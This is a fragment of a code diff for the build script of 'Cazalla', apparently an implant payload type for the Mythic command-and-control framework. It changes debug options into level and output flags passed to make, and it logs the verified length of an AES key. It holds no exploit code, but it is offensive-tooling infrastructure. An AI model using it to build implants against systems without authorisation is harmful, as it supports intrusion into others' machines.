),
|
||||||
]
|
]
|
||||||
agent_path = pathlib.Path(".") / "cazalla"
|
agent_path = pathlib.Path(".") / "cazalla"
|
||||||
@@ -182,7 +190,8 @@ class CazallaAgent(PayloadType):
|
|||||||
copy_tree(str(self.agent_path), agent_build_path.name)
|
copy_tree(str(self.agent_path), agent_build_path.name)
|
||||||
|
|
||||||
output_format = self.get_parameter("output")
|
output_format = self.get_parameter("output")
|
||||||
debug_enabled = self.get_parameter("debug")
|
debug_level = self.get_parameter("debug_level")
|
||||||
|
debug_output = self.get_parameter("debug_output")
|
||||||
|
|
||||||
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
|
||||||
|
|
||||||
@@ -229,9 +238,7 @@ class CazallaAgent(PayloadType):
|
|||||||
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
|
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
|
||||||
|
|
||||||
# Send all debug info as part of "Applying configuration" step
|
# Send all debug info as part of "Applying configuration" step
|
||||||
output_format = self.get_parameter("output")
|
final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
|
||||||
debug_enabled = self.get_parameter("debug")
|
|
||||||
final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n"
|
|
||||||
final_output += "\n".join(debug_output)
|
final_output += "\n".join(debug_output)
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
@@ -241,14 +248,19 @@ class CazallaAgent(PayloadType):
|
|||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
if debug_enabled:
|
# Determine build target and filename based on output format and debug settings
|
||||||
make_target = f"debug_{output_format}"
|
if debug_level == "none":
|
||||||
output_filename = f"cazalla-debug.{output_format}"
|
|
||||||
else:
|
|
||||||
make_target = output_format
|
make_target = output_format
|
||||||
output_filename = f"cazalla.{output_format}"
|
output_filename = f"cazalla.{output_format}"
|
||||||
|
make_flags = ""
|
||||||
|
else:
|
||||||
|
make_target = f"debug_{output_format}"
|
||||||
|
output_filename = f"cazalla-debug.{output_format}"
|
||||||
|
# Pass debug level and output type to Makefile
|
||||||
|
# The Makefile will convert string values to numbers
|
||||||
|
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
|
||||||
|
|
||||||
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}"
|
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
|
||||||
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
|
||||||
|
|
||||||
proc = await asyncio.create_subprocess_shell(
|
proc = await asyncio.create_subprocess_shell(
|
||||||
@@ -273,11 +285,11 @@ class CazallaAgent(PayloadType):
|
|||||||
resp.build_message = f"Compilation failed: {compile_errors}"
|
resp.build_message = f"Compilation failed: {compile_errors}"
|
||||||
return resp
|
return resp
|
||||||
|
|
||||||
debug_info = " (DEBUG MODE)" if debug_enabled else ""
|
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Compiling",
|
StepName="Compiling",
|
||||||
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}",
|
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user